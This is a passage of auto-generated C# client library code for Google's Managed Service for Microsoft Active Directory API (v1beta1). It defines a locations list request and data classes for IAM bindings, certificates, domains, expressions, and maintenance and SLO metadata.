Pattern = @"^projects/[^/]+/locations/[^/]+$",
});
}
}
/// <summary>Lists information about the supported locations for this service.</summary>
/// <param name="name">The resource that owns the locations collection, if applicable.</param>
public virtual ListRequest List(string name)
{
return new ListRequest(service, name);
}
/// <summary>Lists information about the supported locations for this service.</summary>
public class ListRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ListLocationsResponse>
{
/// <summary>Constructs a new List request.</summary>
public ListRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>The resource that owns the locations collection, if applicable.</summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>
/// A filter to narrow down results to a preferred subset. The filtering language accepts strings like
/// "displayName=tokyo", and is documented in more detail in [AIP-160](https://google.aip.dev/160).
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Filter { get; set; }
/// <summary>
/// The maximum number of results to return. If not set, the service selects a default.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> PageSize { get; set; }
/// <summary>
/// A page token received from the `next_page_token` field in the response. Send that page token to
/// receive the subsequent page.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PageToken { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "list";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}/locations";
/// <summary>Initializes List parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+$",
});
RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter
{
Name = "filter",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter
{
Name = "pageSize",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter
{
Name = "pageToken",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
}
}
}
namespace Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data
{
/// <summary>Request message for AttachTrust</summary>
public class AttachTrustRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Required. The domain trust resource.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trust")]
public virtual Trust Trust { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Associates `members` with a `role`.</summary>
public class Binding : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// The condition that is associated with this binding. If the condition evaluates to `true`, then this binding
/// applies to the current request. If the condition evaluates to `false`, then this binding does not apply to
/// the current request. However, a different role binding might grant the same role to one or more of the
/// members in this binding. To learn which resources support conditions in their IAM policies, see the [IAM
/// documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("condition")]
public virtual Expr Condition { get; set; }
/// <summary>
/// Specifies the identities requesting access for a Cloud Platform resource. `members` can have the following
/// values: * `allUsers`: A special identifier that represents anyone who is on the internet; with or without a
/// Google account. * `allAuthenticatedUsers`: A special identifier that represents anyone who is authenticated
/// with a Google account or a service account. * `user:{emailid}`: An email address that represents a specific
/// Google account. For example, `alice@example.com` . * `serviceAccount:{emailid}`: An email address that
/// represents a service account. For example, `my-other-app@appspot.gserviceaccount.com`. * `group:{emailid}`:
/// An email address that represents a Google group. For example, `admins@example.com`. *
/// `deleted:user:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a user that
/// has been recently deleted. For example, `alice@example.com?uid=123456789012345678901`. If the user is
/// recovered, this value reverts to `user:{emailid}` and the recovered user retains the role in the binding. *
/// `deleted:serviceAccount:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a
/// service account that has been recently deleted. For example,
/// `my-other-app@appspot.gserviceaccount.com?uid=123456789012345678901`. If the service account is undeleted,
/// this value reverts to `serviceAccount:{emailid}` and the undeleted service account retains the role in the
/// binding. * `deleted:group:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing
/// a Google group that has been recently deleted. For example, `admins@example.com?uid=123456789012345678901`.
/// If the group is recovered, this value reverts to `group:{emailid}` and the recovered group retains the role
/// in the binding. * `domain:{domain}`: The G Suite domain (primary) that represents all the users of that
/// domain. For example, `google.com` or `example.com`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("members")]
public virtual System.Collections.Generic.IList<string> Members { get; set; }
/// <summary>
/// Role that is assigned to `members`. For example, `roles/viewer`, `roles/editor`, or `roles/owner`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("role")]
public virtual string Role { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>The request message for Operations.CancelOperation.</summary>
public class CancelOperationRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Certificate used to configure LDAPS.</summary>
public class Certificate : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The certificate expire time.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("expireTime")]
public virtual object ExpireTime { get; set; }
/// <summary>The issuer of this certificate.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("issuingCertificate")]
public virtual Certificate IssuingCertificate { get; set; }
/// <summary>The certificate subject.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("subject")]
public virtual string Subject { get; set; }
/// <summary>The additional hostnames for the domain.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("subjectAlternativeName")]
public virtual System.Collections.Generic.IList<string> SubjectAlternativeName { get; set; }
/// <summary>The certificate thumbprint which uniquely identifies the certificate.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("thumbprint")]
public virtual string Thumbprint { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Time window specified for daily operations.</summary>
public class DailyCycle : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. Duration of the time window, set by service producer.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("duration")]
public virtual object Duration { get; set; }
/// <summary>Time within the day to start the operations.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("startTime")]
public virtual TimeOfDay StartTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Represents a whole or partial calendar date, such as a birthday. The time of day and time zone are either
/// specified elsewhere or are insignificant. The date is relative to the Gregorian Calendar. This can represent one
/// of the following: * A full date, with non-zero year, month, and day values * A month and day value, with a zero
/// year, such as an anniversary * A year on its own, with zero month and day values * A year and month value, with
/// a zero day, such as a credit card expiration date Related types are google.type.TimeOfDay and
/// `google.protobuf.Timestamp`.
/// </summary>
public class Date : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Day of a month. Must be from 1 to 31 and valid for the year and month, or 0 to specify a year by itself or a
/// year and month where the day isn't significant.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("day")]
public virtual System.Nullable<int> Day { get; set; }
/// <summary>Month of a year. Must be from 1 to 12, or 0 to specify a year without a month and day.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("month")]
public virtual System.Nullable<int> Month { get; set; }
/// <summary>Year of the date. Must be from 1 to 9999, or 0 to specify a date without a year.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("year")]
public virtual System.Nullable<int> Year { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// DenyMaintenancePeriod definition. Maintenance is forbidden within the deny period. The start_date must be less
/// than the end_date.
/// </summary>
public class DenyMaintenancePeriod : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Deny period end date. This can be: * A full date, with non-zero year, month and day values. * A month and
/// day value, with a zero year. Allows recurring deny periods each year. Date matching this period will have to
/// be before the end.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("endDate")]
public virtual Date EndDate { get; set; }
/// <summary>
/// Deny period start date. This can be: * A full date, with non-zero year, month and day values. * A month and
/// day value, with a zero year. Allows recurring deny periods each year. Date matching this period will have to
/// be the same or after the start.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("startDate")]
public virtual Date StartDate { get; set; }
/// <summary>
/// Time in UTC when the Blackout period starts on start_date and ends on end_date. This can be: * Full time. *
/// All zeros for 00:00:00 UTC
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("time")]
public virtual TimeOfDay Time { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Request message for DetachTrust</summary>
public class DetachTrustRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Required. The domain trust resource to removed.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trust")]
public virtual Trust Trust { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// If the domain is being changed, it will be placed into the UPDATING state, which indicates that the resource is
/// being reconciled. At this point, Get will reflect an intermediate state. Represents a managed Microsoft Active
/// Directory domain.
/// </summary>
public class Domain : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Optional. The name of delegated administrator account used to perform Active Directory operations. If not
/// specified, `setupadmin` will be used.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("admin")]
public virtual string Admin { get; set; }
/// <summary>
/// Optional. Configuration for audit logs. True if audit logs are enabled, else false. Default is audit logs
/// disabled.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("auditLogsEnabled")]
public virtual System.Nullable<bool> AuditLogsEnabled { get; set; }
/// <summary>
/// Optional. The full names of the Google Compute Engine
/// [networks](/compute/docs/networks-and-firewalls#networks) the domain instance is connected to. Networks can
/// be added using UpdateDomain. The domain is only available on networks listed in `authorized_networks`. If
/// CIDR subnets overlap between networks, domain creation will fail.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("authorizedNetworks")]
public virtual System.Collections.Generic.IList<string> AuthorizedNetworks { get; set; }
/// <summary>Output only. The time the instance was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>
/// Output only. The fully-qualified domain name of the exposed domain used by clients to connect to the
/// service. Similar to what would be chosen for an Active Directory set up on an internal network.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("fqdn")]
public virtual string Fqdn { get; set; }
/// <summary>Optional. Resource labels that can contain user-provided metadata.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("labels")]
public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; }
/// <summary>
/// Required. Locations where domain needs to be provisioned. regions e.g. us-west1 or us-east4 Service supports
/// up to 4 locations at once. Each location will use a /26 block.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("locations")]
public virtual System.Collections.Generic.IList<string> Locations { get; set; }
/// <summary>
/// Output only. The unique name of the domain using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>
/// Required. The CIDR range of internal addresses that are reserved for this domain. Reserved networks must be
/// /24 or larger. Ranges must be unique and non-overlapping with existing subnets in
/// [Domain].[authorized_networks].
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("reservedIpRange")]
public virtual string ReservedIpRange { get; set; }
/// <summary>Output only. The current state of this domain.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>
/// Output only. Additional information about the current status of this domain, if available.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("statusMessage")]
public virtual string StatusMessage { get; set; }
/// <summary>Output only. The current trusts associated with the domain.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trusts")]
public virtual System.Collections.Generic.IList<Trust> Trusts { get; set; }
/// <summary>Output only. The last update time.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// A generic empty message that you can re-use to avoid defining duplicated empty messages in your APIs. A typical
/// example is to use it as the request or the response type of an API method. For instance: service Foo { rpc
/// Bar(google.protobuf.Empty) returns (google.protobuf.Empty); } The JSON representation for `Empty` is empty JSON
/// object `{}`.
/// </summary>
public class Empty : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Represents a textual expression in the Common Expression Language (CEL) syntax. CEL is a C-like expression
/// language. The syntax and semantics of CEL are documented at https://github.com/google/cel-spec. Example
/// (Comparison): title: "Summary size limit" description: "Determines if a summary is less than 100 chars"
/// expression: "document.summary.size() &lt; 100" Example (Equality): title: "Requestor is owner" description:
/// "Determines if requestor is the document owner" expression: "document.owner == request.auth.claims.email"
/// Example (Logic): title: "Public documents" description: "Determine whether the document should be publicly
/// visible" expression: "document.type != 'private' &amp;&amp; document.type != 'internal'" Example (Data
/// Manipulation): title: "Notification string" description: "Create a notification string with a timestamp."
/// expression: "'New message received at ' + string(document.create_time)" The exact variables and functions that
/// may be referenced within an expression are determined by the service that evaluates it. See the service
/// documentation for additional information.
/// </summary>
public class Expr : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Optional. Description of the expression. This is a longer text which describes the expression, e.g. when
/// hovered over it in a UI.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("description")]
public virtual string Description { get; set; }
/// <summary>Textual representation of an expression in Common Expression Language syntax.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("expression")]
public virtual string Expression { get; set; }
/// <summary>
/// Optional. String indicating the location of the expression for error reporting, e.g. a file name and a
/// position in the file.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("location")]
public virtual string Location { get; set; }
/// <summary>
/// Optional. Title for the expression, i.e. a short string describing its purpose. This can be used e.g. in UIs
/// which allow to enter the expression.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("title")]
public virtual string Title { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents the metadata of the long-running operation.</summary>
public class GoogleCloudManagedidentitiesV1OpMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. API version used to start the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("apiVersion")]
public virtual string ApiVersion { get; set; }
/// <summary>Output only. The time the operation was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>Output only. The time the operation finished running.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("endTime")]
public virtual object EndTime { get; set; }
/// <summary>
/// Output only. Identifies whether the user has requested cancellation of the operation. Operations that have
/// successfully been cancelled have Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("requestedCancellation")]
public virtual System.Nullable<bool> RequestedCancellation { get; set; }
/// <summary>Output only. Server-defined resource path for the target of the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("target")]
public virtual string Target { get; set; }
/// <summary>Output only. Name of the verb executed by the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("verb")]
public virtual string Verb { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents the metadata of the long-running operation.</summary>
public class GoogleCloudManagedidentitiesV1alpha1OpMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. API version used to start the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("apiVersion")]
public virtual string ApiVersion { get; set; }
/// <summary>Output only. The time the operation was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>Output only. The time the operation finished running.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("endTime")]
public virtual object EndTime { get; set; }
/// <summary>
/// Output only. Identifies whether the user has requested cancellation of the operation. Operations that have
/// successfully been cancelled have Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("requestedCancellation")]
public virtual System.Nullable<bool> RequestedCancellation { get; set; }
/// <summary>Output only. Server-defined resource path for the target of the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("target")]
public virtual string Target { get; set; }
/// <summary>Output only. Name of the verb executed by the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("verb")]
public virtual string Verb { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents the metadata of the long-running operation.</summary>
public class GoogleCloudManagedidentitiesV1beta1OpMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. API version used to start the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("apiVersion")]
public virtual string ApiVersion { get; set; }
/// <summary>Output only. The time the operation was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>Output only. The time the operation finished running.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("endTime")]
public virtual object EndTime { get; set; }
/// <summary>
/// Output only. Identifies whether the user has requested cancellation of the operation. Operations that have
/// successfully been cancelled have Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("requestedCancellation")]
public virtual System.Nullable<bool> RequestedCancellation { get; set; }
/// <summary>Output only. Server-defined resource path for the target of the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("target")]
public virtual string Target { get; set; }
/// <summary>Output only. Name of the verb executed by the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("verb")]
public virtual string Verb { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
public class GoogleCloudSaasacceleratorManagementProvidersV1Instance : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// consumer_defined_name is the name that is set by the consumer. On the other hand Name field represents
/// system-assigned id of an instance so consumers are not necessarily aware of it. consumer_defined_name is
/// used for notification/UI purposes for consumer to recognize their instances.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("consumerDefinedName")]
public virtual string ConsumerDefinedName { get; set; }
/// <summary>Output only. Timestamp when the resource was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>
/// Optional. Resource labels to represent user provided metadata. Each label is a key-value pair, where both
/// the key and the value are arbitrary strings provided by the user.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("labels")]
public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; }
/// <summary>
/// Deprecated. The MaintenancePolicies that have been attached to the instance. The key must be of the type
/// name of the oneof policy name defined in MaintenancePolicy, and the referenced policy must define the same
/// policy type. For complete details of MaintenancePolicy, please refer to go/cloud-saas-mw-ug.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("maintenancePolicyNames")]
public virtual System.Collections.Generic.IDictionary<string, string> MaintenancePolicyNames { get; set; }
/// <summary>
/// The MaintenanceSchedule contains the scheduling information of published maintenance schedule with same key
/// as software_versions.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("maintenanceSchedules")]
public virtual System.Collections.Generic.IDictionary<string, GoogleCloudSaasacceleratorManagementProvidersV1MaintenanceSchedule> MaintenanceSchedules { get; set; }
/// <summary>Optional. The MaintenanceSettings associated with instance.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("maintenanceSettings")]
public virtual GoogleCloudSaasacceleratorManagementProvidersV1MaintenanceSettings MaintenanceSettings { get; set; }
/// <summary>
/// Unique name of the resource. It uses the form:
/// `projects/{project_id|project_number}/locations/{location_id}/instances/{instance_id}` Note: Either
/// project_id or project_number can be used, but keep it consistent with other APIs (e.g. RescheduleUpdate)
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>
/// Output only. Custom string attributes used primarily to expose producer-specific information in monitoring
/// dashboards. See go/get-instance-metadata.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("producerMetadata")]
public virtual System.Collections.Generic.IDictionary<string, string> ProducerMetadata { get; set; }
/// <summary>
/// Output only. The list of data plane resources provisioned for this instance, e.g. compute VMs. See
/// go/get-instance-metadata.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("provisionedResources")]
public virtual System.Collections.Generic.IList<GoogleCloudSaasacceleratorManagementProvidersV1ProvisionedResource> ProvisionedResources { get; set; }
/// <summary>
/// Link to the SLM instance template. Only populated when updating SLM instances via SSA's Actuation service
/// adaptor. Service producers with custom control plane (e.g. Cloud SQL) doesn't need to populate this field.
/// Instead they should use software_versions.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("slmInstanceTemplate")]
public virtual string SlmInstanceTemplate { get; set; }
/// <summary>
/// Output only. SLO metadata for instance classification in the Standardized dataplane SLO platform. See
/// go/cloud-ssa-standard-slo for feature description.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("sloMetadata")]
public virtual GoogleCloudSaasacceleratorManagementProvidersV1SloMetadata SloMetadata { get; set; }
/// <summary>
/// Software versions that are used to deploy this instance. This can be mutated by rollout services.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("softwareVersions")]
public virtual System.Collections.Generic.IDictionary<string, string> SoftwareVersions { get; set; }
/// <summary>
/// Output only. Current lifecycle state of the resource (e.g. if it's being created or ready to use).
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>Output only. ID of the associated GCP tenant project. See go/get-instance-metadata.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("tenantProjectId")]
public virtual string TenantProjectId { get; set; }
/// <summary>Output only. Timestamp when the resource was last modified.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Maintenance schedule which is exposed to customer and potentially end user, indicating published upcoming future
/// maintenance schedule
/// </summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1MaintenanceSchedule : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// This field is deprecated, and will be always set to true since reschedule can happen multiple times now.
/// This field should not be removed until all service producers remove this for their customers.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("canReschedule")]
public virtual System.Nullable<bool> CanReschedule { get; set; }
/// <summary>The scheduled end time for the maintenance.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("endTime")]
public virtual object EndTime { get; set; }
/// <summary>
/// The rollout management policy this maintenance schedule is associated with. When doing reschedule update
/// request, the reschedule should be against this given policy.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("rolloutManagementPolicy")]
public virtual string RolloutManagementPolicy { get; set; }
/// <summary>
/// schedule_deadline_time is the time deadline any schedule start time cannot go beyond, including reschedule.
/// It's normally the initial schedule start time plus maintenance window length (1 day or 1 week). Maintenance
/// cannot be scheduled to start beyond this deadline.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("scheduleDeadlineTime")]
public virtual object ScheduleDeadlineTime { get; set; }
/// <summary>The scheduled start time for the maintenance.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("startTime")]
public virtual object StartTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Maintenance settings associated with instance. Allows service producers and end users to assign settings that
/// controls maintenance on this instance.
/// </summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1MaintenanceSettings : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Optional. Exclude instance from maintenance. When true, rollout service will not attempt maintenance on the
/// instance. Rollout service will include the instance in reported rollout progress as not attempted.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("exclude")]
public virtual System.Nullable<bool> Exclude { get; set; }
/// <summary>Optional. If the update call is triggered from rollback, set the value as true.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("isRollback")]
public virtual System.Nullable<bool> IsRollback { get; set; }
/// <summary>
/// Optional. The MaintenancePolicies that have been attached to the instance. The key must be of the type name
/// of the oneof policy name defined in MaintenancePolicy, and the embedded policy must define the same policy
/// type. For complete details of MaintenancePolicy, please refer to go/cloud-saas-mw-ug. If only the name is
/// needed (like in the deprecated Instance.maintenance_policy_names field) then only populate
/// MaintenancePolicy.name.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("maintenancePolicies")]
public virtual System.Collections.Generic.IDictionary<string, MaintenancePolicy> MaintenancePolicies { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Node information for custom per-node SLO implementations. SSA does not support per-node SLO, but producers can
/// populate per-node information in SloMetadata for custom precomputations. SSA Eligibility Exporter will emit
/// per-node metric based on this information.
/// </summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1NodeSloMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// By default node is eligible if instance is eligible. But individual node might be excluded from SLO by
/// adding entry here. For semantic see SloMetadata.exclusions. If both instance and node level exclusions are
/// present for time period, the node level's reason will be reported by Eligibility Exporter.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("exclusions")]
public virtual System.Collections.Generic.IList<GoogleCloudSaasacceleratorManagementProvidersV1SloExclusion> Exclusions { get; set; }
/// <summary>The location of the node, if different from instance location.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("location")]
public virtual string Location { get; set; }
/// <summary>The id of the node. This should be equal to SaasInstanceNode.node_id.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("nodeId")]
public virtual string NodeId { get; set; }
/// <summary>
/// If present, this will override eligibility for the node coming from instance or exclusions for specified
/// SLIs.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("perSliEligibility")]
public virtual GoogleCloudSaasacceleratorManagementProvidersV1PerSliSloEligibility PerSliEligibility { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>PerSliSloEligibility is a mapping from an SLI name to eligibility.</summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1PerSliSloEligibility : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// An entry in the eligibilities map specifies an eligibility for a particular SLI for the given instance. The
/// SLI key in the name must be a valid SLI name specified in the Eligibility Exporter binary flags otherwise an
/// error will be emitted by Eligibility Exporter and the oncaller will be alerted. If an SLI has been defined
/// in the binary flags but the eligibilities map does not contain it, the corresponding SLI time series will
/// not be emitted by the Eligibility Exporter. This ensures a smooth rollout and compatibility between the data
/// produced by different versions of the Eligibility Exporters. If eligibilities map contains a key for an SLI
/// which has not been declared in the binary flags, there will be an error message emitted in the Eligibility
/// Exporter log and the metric for the SLI in question will not be emitted.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("eligibilities")]
public virtual System.Collections.Generic.IDictionary<string, GoogleCloudSaasacceleratorManagementProvidersV1SloEligibility> Eligibilities { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Describes provisioned dataplane resources.</summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1ProvisionedResource : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Type of the resource. This can be either a GCP resource or a custom one (e.g. another cloud provider's VM).
/// For GCP compute resources use singular form of the names listed in GCP compute API documentation
/// (https://cloud.google.com/compute/docs/reference/rest/v1/), prefixed with 'compute-', for example:
/// 'compute-instance', 'compute-disk', 'compute-autoscaler'.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("resourceType")]
public virtual string ResourceType { get; set; }
/// <summary>URL identifying the resource, e.g. "https://www.googleapis.com/compute/v1/projects/...)".</summary>
[Newtonsoft.Json.JsonPropertyAttribute("resourceUrl")]
public virtual string ResourceUrl { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// SloEligibility is a tuple containing eligibility value: true if an instance is eligible for SLO calculation or
/// false if it should be excluded from all SLO-related calculations along with a user-defined reason.
/// </summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1SloEligibility : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Whether an instance is eligible or ineligible.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("eligible")]
public virtual System.Nullable<bool> Eligible { get; set; }
/// <summary>
/// User-defined reason for the current value of instance eligibility. Usually, this can be directly mapped to
/// the internal state. An empty reason is allowed.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("reason")]
public virtual string Reason { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>SloExclusion represents an exclusion in SLI calculation applies to all SLOs.</summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1SloExclusion : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Exclusion duration. No restrictions on the possible values. When an ongoing operation is taking longer than
/// initially expected, an existing entry in the exclusion list can be updated by extending the duration. This
